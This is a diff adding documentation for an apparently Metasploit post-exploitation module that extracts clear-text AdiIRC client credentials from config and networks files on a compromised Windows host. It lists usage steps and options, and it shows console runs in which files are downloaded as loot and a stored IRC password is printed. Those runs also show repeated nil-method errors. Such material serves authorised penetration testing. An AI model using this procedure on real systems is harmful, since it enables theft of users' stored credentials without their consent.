|
| 1 | +## Vulnerable Application |
| 2 | + |
| 3 | +This post-exploitation module extracts clear text credentials from the Adi IRC Client. |
| 4 | + |
| 5 | +The Adi IRC Client is avaialble from (https://www.adiirc.com/). |
| 6 | + |
| 7 | +This module extracts information from the config.ini and networks.ini files in the "AppData\Local\AdiIRC" directory. |
| 8 | + |
| 9 | +This module extracts server information such as server name, server port, user name, and password. |
| 10 | + |
| 11 | + |
| 12 | +## Verification Steps |
| 13 | + |
| 14 | +1. Start MSF console |
| 15 | +2. Get a Meterpreter session on a Windows system |
| 16 | +3. use post/windows/gather/credentials/adi_irc |
| 17 | +4. Set SESSION 1 |
| 18 | +5. enter 'run' to extract credentials from all applications |
| 19 | + |
| 20 | + |
| 21 | +## Options |
| 22 | +### VERBOSE |
| 23 | + |
| 24 | +By default verbose is turned off. When turned on, the module will show information on files |
| 25 | +which aren't extracted and information that is not directly related to the artifact output. |
| 26 | + |
| 27 | + |
| 28 | +### STORE_LOOT |
| 29 | +This option is turned on by default and saves the stolen artifacts/files on the local machine, |
| 30 | +this is required for also extracting credentials from files using regexp, JSON, XML, and SQLite queries. |
| 31 | + |
| 32 | + |
| 33 | +### EXTRACT_DATA |
| 34 | +This option is turned on by default and will perform the data extraction using the predefined |
| 35 | +regular expression. The 'Store loot' options must be turned on in order for this to take work. |
| 36 | + |
| 37 | +## Scenarios |
| 38 | +### AdiIRC Client v4.4 on Microsoft Windows 10 Home 10.0.19045 N/A Build 19045 - Default Output |
| 39 | +``` |
| 40 | +msf6 post(windows/gather/credentials/adi_irc) > run |
| 41 | +
|
| 42 | +[*] Filtering based on these selections: |
| 43 | +[*] ARTIFACTS: All |
| 44 | +[*] STORE_LOOT: true |
| 45 | +[*] EXTRACT_DATA: true |
| 46 | +
|
| 47 | +[*] Adi irc's Config file found |
| 48 | +[*] Downloading C:\Users\test\AppData\Local\AdiIRC\config.bak |
| 49 | +[*] Adi irc Config.bak downloaded |
| 50 | +[+] File saved to: /home/kali/.msf4/loot/20240508083920_default_10.0.0.2_AdiIRCconfig.ba_051695.bak |
| 51 | +
|
| 52 | +[+] serverhost=chat.freenode.net |
| 53 | +[+] Serverhost=irc.test.net |
| 54 | +[+] serverport=6667 |
| 55 | +[+] Serverport=6667 |
| 56 | +[+] Usernick=TheTester |
| 57 | +[+] QuickPassword=tiaspbiqe2r |
| 58 | +[+] File with data saved: /home/kali/.msf4/loot/20240508083921_default_10.0.0.2_EXTRACTIONconfig_949744.bak |
| 59 | +[*] Downloading C:\Users\test\AppData\Local\AdiIRC\config.ini |
| 60 | +[*] Adi irc Config.ini downloaded |
| 61 | +[+] File saved to: /home/kali/.msf4/loot/20240508083921_default_10.0.0.2_AdiIRCconfig.in_618977.ini |
| 62 | +
|
| 63 | +[+] serverhost=chat.freenode.net |
| 64 | +[+] Serverhost=irc.test.net |
| 65 | +[+] serverport=6667 |
| 66 | +[+] Serverport=6667 |
| 67 | +[+] Usernick=TheTester |
| 68 | +[+] QuickPassword=tiaspbiqe2r |
| 69 | +[+] File with data saved: /home/kali/.msf4/loot/20240508083921_default_10.0.0.2_EXTRACTIONconfig_981500.ini |
| 70 | +[*] Downloading C:\Users\test\AppData\Local\AdiIRC\networks.ini |
| 71 | +[*] Adi irc Networks.ini downloaded |
| 72 | +[+] File saved to: /home/kali/.msf4/loot/20240508083921_default_10.0.0.2_AdiIRCnetworks._976889.ini |
| 73 | +
|
| 74 | +[+] File with data saved: /home/kali/.msf4/loot/20240508083922_default_10.0.0.2_EXTRACTIONconfig_407804.ini |
| 75 | +[*] Adi irc's Networks file found |
| 76 | +[*] Downloading C:\Users\test\AppData\Local\AdiIRC\networks.ini |
| 77 | +[*] Adi irc Networks.ini downloaded |
| 78 | +[+] File saved to: /home/kali/.msf4/loot/20240508083922_default_10.0.0.2_AdiIRCnetworks._497206.ini |
| 79 | +
|
| 80 | +[*] undefined method `each' for nil:NilClass |
| 81 | +[*] Downloading C:\Users\test\AppData\Local\AdiIRC\networks.bak |
| 82 | +[*] Adi irc Networks.bak downloaded |
| 83 | +[+] File saved to: /home/kali/.msf4/loot/20240508083922_default_10.0.0.2_AdiIRCnetworks._102963.bak |
| 84 | +
|
| 85 | +[*] undefined method `each' for nil:NilClass |
| 86 | +[*] PackRat credential sweep Completed |
| 87 | +[*] Post module execution completed |
| 88 | +``` |
| 89 | + |
| 90 | +### AdiIRC Client v4.4 on Microsoft Windows 10 Home 10.0.19045 N/A Build 19045 - Verbose Output |
| 91 | +``` |
| 92 | +msf6 post(windows/gather/credentials/adi_irc) > run |
| 93 | +
|
| 94 | +[*] Filtering based on these selections: |
| 95 | +[*] ARTIFACTS: All |
| 96 | +[*] STORE_LOOT: true |
| 97 | +[*] EXTRACT_DATA: true |
| 98 | +
|
| 99 | +[*] Starting Packrat... |
| 100 | +[-] Adi irc's base folder not found in user's user directory |
| 101 | +
|
| 102 | +[-] Adi irc's base folder not found in user's user directory |
| 103 | +
|
| 104 | +[*] Starting Packrat... |
| 105 | +[*] Adi irc's base folder found |
| 106 | +[*] Found the folder containing specified artifact for config. |
| 107 | +[*] Adi irc's Config file found |
| 108 | +[*] Processing C:\Users\test\AppData\Local\AdiIRC |
| 109 | +[*] Downloading C:\Users\test\AppData\Local\AdiIRC\config.bak |
| 110 | +[*] Adi irc Config.bak downloaded |
| 111 | +[+] File saved to: /home/kali/.msf4/loot/20240508083813_default_10.0.0.2_AdiIRCconfig.ba_900175.bak |
| 112 | +
|
| 113 | +[*] Searches for credentials (USERNAMES/PASSWORDS) |
| 114 | +[+] serverhost=chat.freenode.net |
| 115 | +[*] Searches for credentials (USERNAMES/PASSWORDS) |
| 116 | +[+] Serverhost=irc.test.net |
| 117 | +[*] Searches for credentials (USERNAMES/PASSWORDS) |
| 118 | +[+] serverport=6667 |
| 119 | +[*] Searches for credentials (USERNAMES/PASSWORDS) |
| 120 | +[+] Serverport=6667 |
| 121 | +[*] Searches for credentials (USERNAMES/PASSWORDS) |
| 122 | +[+] Usernick=TheTester |
| 123 | +[*] Searches for credentials (USERNAMES/PASSWORDS) |
| 124 | +[+] QuickPassword=tiaspbiqe2r |
| 125 | +[+] File with data saved: /home/kali/.msf4/loot/20240508083814_default_10.0.0.2_EXTRACTIONconfig_209914.bak |
| 126 | +[*] Processing C:\Users\test\AppData\Local\AdiIRC |
| 127 | +[*] Downloading C:\Users\test\AppData\Local\AdiIRC\config.ini |
| 128 | +[*] Adi irc Config.ini downloaded |
| 129 | +[+] File saved to: /home/kali/.msf4/loot/20240508083814_default_10.0.0.2_AdiIRCconfig.in_918837.ini |
| 130 | +
|
| 131 | +[*] Searches for credentials (USERNAMES/PASSWORDS) |
| 132 | +[+] serverhost=chat.freenode.net |
| 133 | +[*] Searches for credentials (USERNAMES/PASSWORDS) |
| 134 | +[+] Serverhost=irc.test.net |
| 135 | +[*] Searches for credentials (USERNAMES/PASSWORDS) |
| 136 | +[+] serverport=6667 |
| 137 | +[*] Searches for credentials (USERNAMES/PASSWORDS) |
| 138 | +[+] Serverport=6667 |
| 139 | +[*] Searches for credentials (USERNAMES/PASSWORDS) |
| 140 | +[+] Usernick=TheTester |
| 141 | +[*] Searches for credentials (USERNAMES/PASSWORDS) |
| 142 | +[+] QuickPassword=tiaspbiqe2r |
| 143 | +[+] File with data saved: /home/kali/.msf4/loot/20240508083814_default_10.0.0.2_EXTRACTIONconfig_383684.ini |
| 144 | +[*] Processing C:\Users\test\AppData\Local\AdiIRC |
| 145 | +[*] Downloading C:\Users\test\AppData\Local\AdiIRC\networks.ini |
| 146 | +[*] Adi irc Networks.ini downloaded |
| 147 | +[+] File saved to: /home/kali/.msf4/loot/20240508083814_default_10.0.0.2_AdiIRCnetworks._579169.ini |
| 148 | +
|
| 149 | +[+] File with data saved: /home/kali/.msf4/loot/20240508083814_default_10.0.0.2_EXTRACTIONconfig_073623.ini |
| 150 | +[*] Adi irc's base folder found |
| 151 | +[*] Found the folder containing specified artifact for networks. |
| 152 | +[*] Adi irc's Networks file found |
| 153 | +[*] Processing C:\Users\test\AppData\Local\AdiIRC |
| 154 | +[*] Downloading C:\Users\test\AppData\Local\AdiIRC\networks.ini |
| 155 | +[*] Adi irc Networks.ini downloaded |
| 156 | +[+] File saved to: /home/kali/.msf4/loot/20240508083814_default_10.0.0.2_AdiIRCnetworks._045399.ini |
| 157 | +
|
| 158 | +[*] undefined method `each' for nil:NilClass |
| 159 | +[*] Processing C:\Users\test\AppData\Local\AdiIRC |
| 160 | +[*] Downloading C:\Users\test\AppData\Local\AdiIRC\networks.bak |
| 161 | +[*] Adi irc Networks.bak downloaded |
| 162 | +[+] File saved to: /home/kali/.msf4/loot/20240508083815_default_10.0.0.2_AdiIRCnetworks._439992.bak |
| 163 | +
|
| 164 | +[*] undefined method `each' for nil:NilClass |
| 165 | +[*] PackRat credential sweep Completed |
| 166 | +[*] Post module execution completed |
| 167 | +``` |
0 commit comments